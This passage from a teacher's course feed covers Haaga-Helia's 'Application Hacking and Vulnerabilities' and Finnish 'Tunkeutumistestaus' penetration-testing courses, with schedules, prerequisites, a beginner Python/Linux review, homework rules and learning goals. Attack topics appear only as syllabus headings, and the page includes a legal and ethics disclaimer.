&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;Finnish (+reading and writing in English)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;No, fully contact in Pasila classroom, mandatory participation&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;4.3 - 4.8 / 5 &lt;strong&gt;Excellent feedback&lt;/strong&gt; &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=48775&quot;&gt;Moodle: Sovellusten hakkerointi ja haavoittuvuudet&lt;/a&gt;. Laksu. Voluntary extra: &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Teachers&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://TeroKarvinen.com&quot;&gt;Tero Karvinen&lt;/a&gt; and &lt;a href=&quot;https://github.com/lisoant&quot;&gt;Lari Iso-Anttila&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;2026-08-20 w34 Thu 14:30 pa5001, bring your laptop. (Yes, first time starts half an hour later)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Enroll&lt;/td&gt;&lt;td&gt;Extra group starting, come to the first class! &lt;del&gt;Sold out. For a change at a place from the queue, enroll in Peppi and come to the first class.&lt;/del&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;This page will be updated before and during the course.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;aikataulu&quot;&gt;&lt;/span&gt;
&lt;span id=&quot;agenda&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;schedule&quot;&gt;Schedule &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#schedule&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Thursdays 14:00-16:45 in Pasila, classroom pa5001 &amp;amp; pa3005. Bring your laptop! Check your &lt;a href=&quot;https://hhmoodle.haaga-helia.fi/mod/page/view.php?id=3834577&quot;&gt;group (Leijona or Mänty)&lt;/a&gt; from Moodle.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Day&lt;/th&gt;&lt;th&gt;Topic (mänty)&lt;/th&gt;&lt;th&gt;Topic (leijona)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;2026-08-20 w34 Thu&lt;/td&gt;&lt;td&gt;1. Introduction. Warm-up. Overview. &lt;em&gt;16:00 Visitor: Janne&lt;/em&gt;: Standards and frameworks.&lt;/td&gt;&lt;td&gt;Intro.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-08-27 w35 Thu&lt;/td&gt;&lt;td&gt;2. &lt;em&gt;14:00 normal start time.&lt;/em&gt; Hacking in and fixing vulnerabilities from source code pa5001 T. h2&lt;/td&gt;&lt;td&gt;Dynamic analysis. pa3005 L. h5.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-03 w36 Thu&lt;/td&gt;&lt;td&gt;3. Vierailija Otto Ebeling. Web hacking teardown. pa5001 T h3&lt;/td&gt;&lt;td&gt;Otto. Dynamic analysis 2 [or Crypto] 2. pa3005.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-10 w37 Thu&lt;/td&gt;&lt;td&gt;4. Ghidra. pa5001 T. h4&lt;/td&gt;&lt;td&gt;Embedded. pa3005. h6.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-17 w38 Thu&lt;/td&gt;&lt;td&gt;5. Dynamic analysis. Debuggers and gdb. pa3005. h5.&lt;/td&gt;&lt;td&gt;Hack &amp;amp; fix from source. pa5001. h2.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-24 w39 Thu&lt;/td&gt;&lt;td&gt;6. Embedded systems. pa3005. h6&lt;/td&gt;&lt;td&gt;Web hacking teardown. Ghidra. pa5001. h4.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-01 w40 Thu&lt;/td&gt;&lt;td&gt;7. Happy Hacking Day &lt;em&gt;No regular classes - visit Happy Hacking Day instead.&lt;/em&gt;&lt;/td&gt;&lt;td&gt;Happy hacking day.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-08 w41 Thu&lt;/td&gt;&lt;td&gt;8. Capture the Flag. Tero and Lari.&lt;/td&gt;&lt;td&gt;CTF.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;This is an advanced course, so topics may change as the course progresses. We expect only the topics change, the dates and the hours are expected to stay unchanged.&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#prerequisites&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;At the start of the course, you should know:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Programming basics&lt;/li&gt;
&lt;li&gt;Linux basics&lt;/li&gt;
&lt;li&gt;Installing Linux on a virtual machine on your own laptop&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For this Finnish implementation, you should be able to speak Finnish fluently; and read and write Finnish and English.&lt;/p&gt;
&lt;p&gt;Prior knowledge acquired in any way is acceptable. Knowledge can be obtained, for example, from &quot;Linux Servers&quot; or &quot;Programming 1&quot; courses, but self-study is also fine.&lt;/p&gt;
&lt;p&gt;Prerequisites may be verified with a survey if necessary, and course participants may be selected based on an initial test if needed.&lt;/p&gt;
&lt;p&gt;You can review or learn the skills below before the course if you wish. If you already know the topics, you don&#39;t need the &lt;a href=&quot;https://terokarvinen.com/application-hacking/#review&quot;&gt;review package&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;review&quot;&gt;&lt;/span&gt;
&lt;span id=&quot;kertauspaketti&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;review-package&quot;&gt;Review Package &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#review-package&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;If you already know these things, you don&#39;t need the review package. You don&#39;t have to learn these specific languages. If an initial test is held during the course, questions won&#39;t be limited to the review package content.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;programming-basics&quot;&gt;Programming Basics &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#programming-basics&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The course involves coding and reading code&lt;/li&gt;
&lt;li&gt;Any language works (e.g., Python or C).&lt;/li&gt;
&lt;li&gt;Some students say that C is new to them but very useful in reverse engineering.&lt;/li&gt;
&lt;li&gt;Variable, data types (int, float, string, array/list), conditional statement (if-else), loops (for, while), function, class (class, object), execution order&lt;/li&gt;
&lt;li&gt;You can write simple programs&lt;/li&gt;
&lt;li&gt;You can read programming language and library manuals; and search the web for solutions to simple problems&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to review Python on Linux, you can start writing code like this:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;python3&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;&amp;gt;&amp;gt;&amp;gt; print(&amp;quot;Hello, Tero!&amp;quot;)&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;&amp;gt;&amp;gt;&amp;gt; exit()&lt;/span&gt;

&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;nano&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; hello.py&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And here you can write your program:&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;hl-source hl-python&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-python&quot;&gt;&lt;span class=&quot;hl-meta hl-qualified-name hl-python&quot;&gt;&lt;span class=&quot;hl-support hl-function hl-builtin hl-python&quot;&gt;print&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-arguments hl-begin hl-python&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-python&quot;&gt;&lt;span class=&quot;hl-meta hl-string hl-python&quot;&gt;&lt;span class=&quot;hl-string hl-quoted hl-double hl-python&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-python&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-string hl-python&quot;&gt;&lt;span class=&quot;hl-string hl-quoted hl-double hl-python&quot;&gt;Hello, Tero!&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-python&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-section hl-arguments hl-end hl-python&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save in nano with ctrl-X, y, enter. I personally install the &#39;micro&#39; editor when I code more.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;python3&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; hello.py&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;Hello, Tero!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the language basics are explained here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/tutorial/introduction.html&quot;&gt;3. An Informal Introduction to Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/tutorial/controlflow.html&quot;&gt;4. More Control Flow Tools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/tutorial/classes.html&quot;&gt;9. Classes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I often review languages by writing a bunch of easy warm-up programs.&lt;/p&gt;
&lt;h3 id=&quot;linux-basics&quot;&gt;Linux Basics &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#linux-basics&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Linux is used as a tool. Basic skills are sufficient. The course does not require extensive Linux administration skills.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using the command line&lt;/li&gt;
&lt;li&gt;Root privileges (sudo)&lt;/li&gt;
&lt;li&gt;Package management (apt-get)&lt;/li&gt;
&lt;li&gt;Directory structure (e.g., /home/tero/, /etc/, /, /var/log, /usr/bin/, /usr/local/bin/)&lt;/li&gt;
&lt;li&gt;Logs (sudo journalctl -n 20; /var/log/apache2/error.log)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Learn the commands from: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Karvinen 2020: Command Line Basics Revisited&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The easiest way to review is to install Linux on a virtual machine and play with it.&lt;/p&gt;
&lt;h3 id=&quot;installing-linux-on-a-virtual-machine&quot;&gt;Installing Linux on a Virtual Machine &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#installing-linux-on-a-virtual-machine&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;For example, installing Debian in VirtualBox (instructions below)&lt;/li&gt;
&lt;li&gt;You can use other virtualization solutions if you can adapt and solve related challenges yourself (e.g., QEMU, lib-virt, virt-manager...)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Students have installed hundreds of Linuxes with this installation guide: &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on Virtualbox - Updated 2024&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;small&gt;(For Macintosh users: Apple Macintosh M1, M2, M3, M4... is not suitable for the course. Macs use arm64 architecture, course requires amd64 (x86-64). It&#39;s recommended to bring a regular PC laptop for the course, as many applications and virtual machines used in exercises are only available for this more common amd64 architecture. We recommend bringing an amd64-based laptop running Linux or Windows.)&lt;/small&gt;&lt;/p&gt;
&lt;h2 id=&quot;previous-implementations&quot;&gt;Previous Implementations &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#previous-implementations&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2026/application-hacking--ici012as3ae--ici012as3a--2026p3/&quot;&gt;Application Hacking and Vulnerabilities ICI012AS3AE-3001 (English) ja ICI012AS3A-3003 (Finnish) 2026p3 alkukevät&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/tags/sovellusten-hakkerointi-ja-haavoittuvuudet/&quot;&gt;All implementations &quot;Application Hacking and Vulnerabilities&quot;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;laksyt&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;homework&quot;&gt;Homework &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#homework&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Homework report links are submitted to Laksu 24 hours before the contact session. After submitting your own assignment, you peer-assess two classmates&#39; assignments.&lt;/p&gt;
&lt;p&gt;Homework is done and reported after each class. Assignments can be published anywhere and the link submitted to Laksu. Homework reports must be in a format viewable directly in a browser, as a regular HTML web page. No odt, no odp, no ppt, no docx, no doc, no pdf. Homework cannot be submitted by email. Links are submitted to Laksu and then two works are peer-assessed. Free web hosting is available from WordPress.com, GitHub.com, and Gitlab.com.&lt;/p&gt;
&lt;p&gt;Assignments are official only after they are given at the end of class. Even if the assignment might sometimes be on the web page before class, they should not be done in advance, as they are evaluated according to the given assignment. Significant changes may be made before confirmation.&lt;/p&gt;
&lt;p&gt;Homework is reviewed at the next meeting, problems are solved together, and oral feedback is given. The grade for the homework package is given only at the end of the course, but assignments must still be submitted 24 hours before the next class. Those who don&#39;t start completing the course by submitting assignments will be removed from the course. Publishing is voluntary but highly recommended. If for some reason you don&#39;t dare or otherwise don&#39;t want to publish, you can put the work on a web page behind a password (the same password for all homework) and share this password with classmates. If tests on homework topics are held during classes, their points are included in the homework assessment.&lt;/p&gt;
&lt;p&gt;Homework must be done by experimenting on a computer and reporting the course of events, unless otherwise stated in the specific subsection. Reports must contain information that can verify the exercises were done and not fabricated.&lt;/p&gt;
&lt;p&gt;All sources used must be cited in the report: course assignment page, classmates&#39; reports, man pages, books. The citation must show which information came from which source. If you ask AI for advice, it must be cited as a source, naming the AI model and specifics. AIs hallucinate; it&#39;s recommended to verify the information. Summaries or essays must not be generated with AI or similar techniques; they must be written yourself. It is forbidden to generate text with AI, as your classmates will be reading what you wrote.&lt;/p&gt;
&lt;h2 id=&quot;homework-tasks&quot;&gt;Homework Tasks &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/application-hacking/#homework-tasks&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/application-hacking/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;We embed homework here in a new way, email teacher if you cannot see the tasks.&lt;/em&gt;&lt;/p&gt;
&lt;div id=homeworkEmbed&gt;Loading homework with JavaScript. You can also &lt;a href=&quot;https://app.terokarvinen.com/embed/course/54/tasks/&quot;&gt;read homework directly&lt;/a&gt;, without JavaScript. &lt;/div&gt;
&lt;script&gt;fetch(&quot;https://app.terokarvinen.com/embed/course/54/tasks/&quot;).then(e=&gt;e.text()).then(e=&gt;document.getElementById(&quot;homeworkEmbed&quot;).innerHTML=e)&lt;/script&gt;
&lt;p&gt;&lt;em&gt;Adminstrivia: This page will update before and during the course. Human verified machine translation was used for parts of this page.&lt;/em&gt;&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Tunkeutumistestaus</title>
    <link href="https://terokarvinen.com/tunkeutumistestaus/"/>
    <id>https://terokarvinen.com/tunkeutumistestaus/</id>
    <published>2026-08-12T10:17:00+03:00</published>
    <updated>2026-08-12T10:17:00+03:00</updated>
    <content type="html">&lt;div lang=&quot;en&quot;&gt;
&lt;p&gt;Learn to hack computers to protect your own. In the course, you will break into target computers.&lt;/p&gt;
&lt;p&gt;Excellent feedback, reached 5.0 out of 5.
&lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Full five stars&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: Visitors confirmed: Buuri (pentesting banks), Särökaari (attacking identity?), joohoi (creator of ffuf).&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name and code&lt;/td&gt;&lt;td&gt;Tunkeutumistestaus ICI005AS3A-3007 (&lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course/ICI005AS3A&quot;&gt;study guide&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;2026 &lt;strong&gt;period 1&lt;/strong&gt; early autumn, w34-w41&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 cr&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Thursdays 11:00&lt;/strong&gt;-13:45, Pasila &lt;strong&gt;pa5001&lt;/strong&gt;, bring your &lt;strong&gt;laptop&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;30&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;Finnish (+reading material in English)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;No, fully contact in Pasila classroom&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4.8&lt;/strong&gt; / 5 Excellent feedback* &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt; (Best instance 5.0/5)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=49132&quot;&gt;Moodle: Tunkeutumistestaus&lt;/a&gt;, Laksu. Voluntary extra: &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;2026-08-20 w34 Thu 11:00, pa5001, bring your laptop.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;* Best instance 5.0/5, every student gave feedback and every feedback was 5. Lowest 4.5/5 excellent, typical 4.9/5 excellent. 
&lt;em&gt;Use of penetration testing techniques requires legal and ethical considerations. To safely use these tools, tactics and procedures, you might need to obtain contracts and permissions; and posses adequate technical skills. Check your local laws.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Teaching is in Finnish, so the rest of this page will be in Finnish.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tunkeutumistestaus on eettisen hakkeroinnin kurssi. Opit, miten murtaudutaan tietokoneille, jotta voisit suojata omat ja toimeksiantajan järjestelmät. Nämä tekniikat, ohjelmat ja taktiikat ovat luvallisia vain tietyissä tilanteissa. Usein pitää hankkia lupia ja tehdä sopimuksia. Lisäksi näiden tekniikoiden turvalliseen käyttöön tarvitaan teknistä taitoa. Perehdy itse paikallisiin lakeihin.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;oppimistavoitteet&quot;&gt;Oppimistavoitteet &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#oppimistavoitteet&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Opintojakson suoritettuaan opiskelija&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tuntee tunkeutumistestauksen prosessin pääpiirteissään&lt;/li&gt;
&lt;li&gt;Tietää, että tunkeutumistestaukselle on lailliset ja eettiset rajat&lt;/li&gt;
&lt;li&gt;Osaa kartoittaa kohdejärjestelmän haavoittuvuuksia&lt;/li&gt;
&lt;li&gt;Osaa hyödyntää valmiita hyökkäyksiä (exploit) ja liittää niihin hyötykuorman käyttäen kurssille valittua työkalua&lt;/li&gt;
&lt;li&gt;Osaa soveltaa tavallisimpia hyökkäyksiä weppisovelluksia vastaan, kun kohdeohjelmistot ovat helppoja ja haavoittuvia.&lt;/li&gt;
&lt;li&gt;Osaa hankkia tunkeutumistestauksessa tarvittavia ohjelmistoja&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kurssilta ei saa mukaansa ilmaista pakettia nollapäivähaavoittuvuuksia, eikä kurssi anna mitään erityisoikeuksia eikä ammattinimikkeitä.&lt;/p&gt;
&lt;figure class=&quot;right&quot; style=&quot;max-width: 139px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/its-raining-shells.w139.ha3eb55a3.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/tunkeutumistestaus/its-raining-shells.w139.ha3eb55a3.avif 139w&quot; sizes=&quot;(max-width: 139px) 100vw, 139px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/tunkeutumistestaus/its-raining-shells.w139.ha3eb55a3.png&quot; srcset=&quot;https://terokarvinen.com/tunkeutumistestaus/its-raining-shells.w139.ha3eb55a3.png 139w&quot; sizes=&quot;(max-width: 139px) 100vw, 139px&quot; width=&quot;139&quot; height=&quot;134&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;aikataulu&quot;&gt;Aikataulu &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#aikataulu&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Torstaisin 11:00 - 13:45 Pasila pa5001.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Päivä&lt;/th&gt;&lt;th&gt;Aihe&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;2026-08-20 w34 Thu&lt;/td&gt;&lt;td&gt;1. Tunkeutumisen yleiskuva. Järjestäytyminen. Kybertappoketju. &lt;em&gt;Lopetamme poikkeuksellisesti jo 13:00&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-08-27 w35 Thu&lt;/td&gt;&lt;td&gt;2. Vierailija &lt;em&gt;Marko Buuri, cybersecurity adviser, Suomen Pankki: DORA &amp;amp; threat lead penetration testing&lt;/em&gt; (11:00). Harjoitusympäristöt, ulkopuoliset ja oma virtuaalilaboratorio.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-03 w36 Thu&lt;/td&gt;&lt;td&gt;3. Aktiivinen tiedustelu. Porttiskannaus ja oheistekniikat. Valvonta snifferillä.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-10 w37 Thu&lt;/td&gt;&lt;td&gt;4. Vierailija &lt;em&gt;Niklas Särökaari, lead cybersecurity operations engineer, KONE: Attacking identity (topic to be confirmed)&lt;/em&gt; (11:00). Weppiin murtautuminen. IDOR, path traversal, SSRF. Välimiesproxyt, ZAP tai mitmproxy. Harjoitusympäristöt weppiin.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-17 w38 Thu&lt;/td&gt;&lt;td&gt;5. Weppiin murtautuminen. SQLi. Keksit. CSRF. Oman TLS-salatun liikenteen purkaminen.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-09-24 w39 Thu&lt;/td&gt;&lt;td&gt;6. Vierailija &lt;em&gt;Joona joohoi Hoikkala, creator of ffuf&lt;/em&gt;, ffuf + hacking CSRF with preflight, 11:00).&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-01 w40 Thu&lt;/td&gt;&lt;td&gt;7. &lt;em&gt;Happy Hacking Day normaalien tuntien tilalta&lt;/em&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-10-08 w41 Thu&lt;/td&gt;&lt;td&gt;8. Lipunryöstö, arvioitava laboratorioharjoitus.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Tämä on edistynyt kurssi, joten tuntien aiheisiin voi tulla muutoksia kurssin edetessä.&lt;/p&gt;
